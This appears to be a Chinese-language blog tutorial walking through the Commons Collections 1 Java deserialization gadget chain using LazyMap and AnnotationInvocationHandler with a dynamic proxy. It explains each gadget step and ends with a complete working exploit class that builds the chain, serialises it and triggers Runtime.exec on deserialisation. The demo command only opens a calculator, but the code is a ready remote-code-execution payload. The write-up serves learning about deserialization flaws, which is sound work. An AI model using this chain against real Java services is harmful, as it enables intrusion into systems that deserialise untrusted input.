Java反序列化 CC1-LazyMap链

参考链接

https://y0n3er.github.io/undefined/36068.html
https://www.bilibili.com/video/BV1yP4y1p7N7/

攻击链分析

这里直接用ysoserial上的链子,和TransformedMap对比一下
可以看到,把TransformedMap改成LazyMap了,然后两个AnnotationInvacationHandler
image.png
下面分析一下gadget链子:

  1. InvokerTransformer.transform()能够执行命令
  2. LazyMap.get()能够调用xxx.transform(),xxx对象可控
  3. AnnotationInvocationHandler.invoke()调用了xxx.get(),xxx对象可控
  4. AnnotationInvocationHandler.readObject()调用了xxx.entrySet(),xxx可控制为代理对象

编写EXP

前面和TransformedMap一样,这里直接从LazyMap开始。

LazyMap.get()

get()里调用了factory.transform(key),用了ConstantTransformer辅助类,就不用管这个key参数

image.png

map和factory都是可以控制的,factory传那个chainedTransformer对象,map绕绕if判断就好

image.png

尝试构造EXP:

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers =  new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");

image.png

AnnotationInvocationHandler.invoke()

这个invoke()实际上就是动态代理用的,创建代理对象语句Proxy.newProxyInstance()的参数里如果传了这个AnnotationInvocationHandler的对象,创建出来的代理对象不管调什么方法都会走进invoke()方法

image.png

memberValues也是可控的,这里要传LazyMap的对象lazymap

image.png

AnnotationInvocationHandler.readObject()

这里其实不一定要这个类,只要找到能控制传一个代理对象.方法()的类就行
上面知道这个memberValues是可控的,这里的我们传lazyMap对象的代理对象lazyMapProxy
lazyMapProxy.entrySet()就会走进上面的invoke()

image.png

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public class TestCC1  {
public static void main(String[] args) throws Exception{
//CC1-TransformedMap
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
// };
// Transformer chainedTransformer = new ChainedTransformer(transformers);
//
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put("value","Jasper");
// Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
// Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
// aihConstructor.setAccessible(true);
// Object o = aihConstructor.newInstance(Target.class,transformedMap);
// serialize(o);
// unserialize();
//CC1-LazyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstuctor.setAccessible(true);
InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
serialize(aih2);
unserialize();
}


public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
}

image.png

小结

经过之前跟的链子,这条跟起来十分轻松,主要是学习动态代理花了不少时间,基础有点差。